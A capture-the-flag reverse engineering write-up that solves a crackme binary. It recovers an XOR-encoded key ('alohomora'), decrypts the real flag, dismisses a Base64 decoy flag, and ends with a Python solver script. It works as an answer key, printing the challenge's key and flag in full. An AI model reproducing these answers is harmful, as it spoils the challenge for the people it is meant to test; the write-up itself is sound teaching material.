  • Category: Reverse Engineering
  • Author: Suraj Kumar

Challenge Description

A binary executable accepts a 9-character input key and validates it through XOR operations. The correct key is encoded in the binary and must be extracted by XORing stored bytes with 0x55. Once the correct key is entered, the binary decrypts and reveals the flag using repeating-key XOR. A decoy flag is stored in encrypted form as a Base64 string (WTNsemUyY3dYMkkwWTJ0ZmREQmZjM1EwY25SemZRPT0=) in the binary’s strings, which decodes to cys{g0_b4ck_t0_st4rts} — this is intentionally wrong and serves as a red herring.

Solution

Initial Analysis

Running basic reconnaissance on the binary revealed an encrypted decoy flag in the strings output. Further analysis required disassembling the binary to understand the validation logic and extract the encoded key array used for XOR operations.

Tools Used

  • Ghidra / IDA Pro / Binary Ninja
  • strings, file, objdump, readelf
  • Python 3
  • base64 (command-line tool)
  • GCC

Step-by-Step Solution

Step 1: Initial Analysis

1
2
file challenge.dat
strings challenge.dat

Found a Base64-encoded string WTNsemUyY3dYMkkwWTJ0ZmREQmZjM1EwY25SemZRPT0=. Decoding it twice reveals cys{g0_b4ck_t0_st4rts} which is a decoy flag (intentionally wrong). The binary requires a 9-character key as input.

Step 2: Decode the Decoy (Red Herring)

1
2
echo "WTNsemUyY3dYMkkwWTJ0ZmREQmZjM1EwY25SemZRPT0=" | base64 -d | base64 -d
# Output: cys{g0_b4ck_t0_st4rts}

This decoy flag is not the answer and will fail if used as input. It exists to mislead players who rely only on strings output.

Step 3: Extract Encoded Arrays from Binary

1
2
3
objdump -s -j .data challenge.dat
# or
readelf -x .data challenge.dat

Located two arrays in the .data section:

1
2
key_enc:  34 39 3a 3d 3a 38 3a 27 34
flag_enc: 12 5f 0c 1a 5c 19 30 43 12 3e 19 01 59 5f 0e 04 17 05

Step 4: Analyze Validation Logic in Disassembler

Opened the binary in Ghidra and decompiled the main function. Identified the key derivation and validation:

1
2
3
4
5
6
7
8
9
10
unsigned char key[9];
for (int i = 0; i < 9; i++) {
    key[i] = key_enc[i] ^ 0x55;
}

if (memcmp(input, key, 9) == 0) {
    for (int i = 0; i < 18; i++) {
        flag[i] = flag_enc[i] ^ key[i % 9];
    }
}

Step 5: Compute the Real Key

1
2
3
key_enc = bytes.fromhex('34393a3d3a383a2734')
key = bytes(b ^ 0x55 for b in key_enc)
print(key.decode())  # Output: alohomora

The real key is: alohomora

Step 6: Decrypt the Flag

1
2
3
4
flag_enc = bytes.fromhex('125f0c1a5c193043123e1901595f0e041705')
key = b'alohomora'
flag = bytes(flag_enc[i] ^ key[i % 9] for i in range(len(flag_enc)))
print(flag.decode())  # Output: s3cr3t_1s_un10cked

Step 7: Verify and Retrieve Flag

1
2
3
./challenge.dat
Speak the binding spell: alohomora
Flag: cys{s3cr3t_1s_un10cked}

Successfully retrieved the real flag by entering the correct key.

Python solver script

Flag

1
cys{s3cr3t_1s_un10cked}

solver python code

the code could change for new binary file as hex dump locations might change

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
def extract_data_from_binary(filename='l'):
    """Extract data from the binary file"""
    try:
        with open(filename, 'rb') as f:
            data = f.read()
        
        print(f"[+] File size: {len(data)} bytes (0x{len(data):x})")
        
        # The addresses are 0x404060 and 0x404070
        # We need to find the file offset for these virtual addresses
        
        # Common data section offsets to try
        possible_offsets = [
            0x3060,  # 0x404060 - 0x401000 (common base)
            0x2060,  # Alternative
            0x4060,  # Alternative (if base is 0x400000)
            0x3040,  # Another common offset
        ]
        
        for base_offset in possible_offsets:
            offset_60 = base_offset
            offset_70 = base_offset + 0x10
            
            if offset_60 + 9 <= len(data) and offset_70 + 18 <= len(data):
                data_404060 = data[offset_60:offset_60+9]
                data_404070 = data[offset_70:offset_70+18]
                
                print(f"\n[*] Trying base offset: 0x{base_offset:04x}")
                print(f"    data_404060 (offset 0x{offset_60:04x}): {data_404060.hex()}")
                print(f"    data_404070 (offset 0x{offset_70:04x}): {data_404070.hex()}")
                
                # Try to decode and check if it makes sense
                result = solve_with_data(data_404060, data_404070)
                if result and result['valid']:
                    return result
        
        # If nothing worked, try scanning the file
        print("\n[*] Trying to scan entire file for valid patterns...")
        return scan_for_data(data)
        
    except FileNotFoundError:
        print(f"Error: File '{filename}' not found")
        return None
    except Exception as e:
        print(f"Error: {e}")
        import traceback
        traceback.print_exc()
        return None

def scan_for_data(data):
    """Scan the file for potential encoded data"""
    print("[*] Scanning for 9-byte sequences that decode to printable ASCII...")
    
    candidates = []
    for i in range(len(data) - 9):
        # Try XORing with 0x55
        spell = bytearray()
        valid = True
        for j in range(9):
            char = data[i+j] ^ 0x55
            if char < 0x20 or char > 0x7e:  # Not printable ASCII
                valid = False
                break
            spell.append(char)
        
        if valid:
            spell_str = spell.decode('ascii')
            print(f"    Found at offset 0x{i:04x}: {spell_str}")
            candidates.append((i, data[i:i+9]))
    
    if candidates:
        print(f"\n[*] Found {len(candidates)} candidate(s)")
        # Use the first candidate
        offset, data_404060 = candidates[0]
        # Look for data_404070 nearby (16 bytes after)
        data_404070 = data[offset+16:offset+16+18] if offset+16+18 <= len(data) else None
        
        if data_404070:
            print(f"[*] Using data at offset 0x{offset:04x}")
            return solve_with_data(data_404060, data_404070)
    
    return None

def solve_with_data(data_404060, data_404070):
    """Solve the challenge with extracted data"""
    
    # Step 1: Calculate the spell (key)
    # var_1d[i] = data_404060[i] ^ 0x55
    spell = bytearray()
    for i in range(9):
        spell.append(data_404060[i] ^ 0x55)
    
    print(f"\n[+] Calculated Spell:")
    print(f"    Hex: {spell.hex()}")
    
    # Try to decode as ASCII
    try:
        spell_str = spell.decode('ascii')
        print(f"    ASCII: {spell_str}")
        is_printable = all(32 <= b <= 126 for b in spell)
    except:
        spell_str = spell.decode('ascii', errors='replace')
        print(f"    ASCII (with errors): {spell_str}")
        is_printable = False
    
    # Step 2: Decode the flag (Mirror Key)
    # var_88[i] = var_1d[i % 9] ^ data_404070[i]
    flag = bytearray()
    for i in range(18):
        flag.append(spell[i % 9] ^ data_404070[i])
    
    print(f"\n[+] Decoded Mirror Key:")
    print(f"    Hex: {flag.hex()}")
    
    # Try to decode as ASCII
    try:
        flag_str = flag.decode('ascii')
        print(f"    ASCII: {flag_str}")
        flag_printable = all(32 <= b <= 126 for b in flag)
    except:
        flag_str = flag.decode('ascii', errors='replace')
        print(f"    ASCII (with errors): {flag_str}")
        flag_printable = False
    
    print(f"\n{'='*60}")
    print(f"SOLUTION:")
    print(f"{'='*60}")
    print(f"Ancient Spell to Enter: {spell_str}")
    print(f"Mirror Key (Flag): {flag_str}")
    print(f"{'='*60}\n")
    
    return {
        'spell': spell_str,
        'flag': flag_str,
        'valid': is_printable and flag_printable
    }

def manual_solve():
    """Manual solver - paste your hex data here"""
    print("="*60)
    print("MANUAL MODE")
    print("="*60)
    print("Enter the hex data from the binary\n")
    print("To get the data manually, use:")
    print("  readelf -x .data l")
    print("  or")
    print("  objdump -s -j .data l")
    print()
    
    data_404060_hex = input("Enter data_404060 (9 bytes in hex, e.g., 1a2b3c...): ").strip()
    data_404070_hex = input("Enter data_404070 (18 bytes in hex, e.g., 4d5e6f...): ").strip()
    
    try:
        # Remove spaces and common separators
        data_404060_hex = data_404060_hex.replace(" ", "").replace("0x", "")
        data_404070_hex = data_404070_hex.replace(" ", "").replace("0x", "")
        
        data_404060 = bytes.fromhex(data_404060_hex)
        data_404070 = bytes.fromhex(data_404070_hex)
        
        if len(data_404060) != 9:
            print(f"Error: data_404060 should be 9 bytes, got {len(data_404060)}")
            return
        
        if len(data_404070) != 18:
            print(f"Error: data_404070 should be 18 bytes, got {len(data_404070)}")
            return
        
        print()
        solve_with_data(data_404060, data_404070)
        
    except ValueError as e:
        print(f"Error parsing hex: {e}")

def main():
    import sys
    
    print("="*60)
    print("Echo-Double Challenge Solver")
    print("="*60)
    print()
    
    # Get filename
    if len(sys.argv) > 1:
        filename = sys.argv[1]
    else:
        filename = 'l'
    
    # Try automatic extraction first
    print(f"[*] Attempting automatic data extraction from '{filename}'...\n")
    result = extract_data_from_binary(filename)
    
    if not result:
        print("\n" + "="*60)
        print("Automatic extraction failed. Switching to manual mode...")
        print("="*60)
        print()
        manual_solve()

if __name__ == "__main__":
    main()

Flag

cys{s3cr3t_1s_un10cked}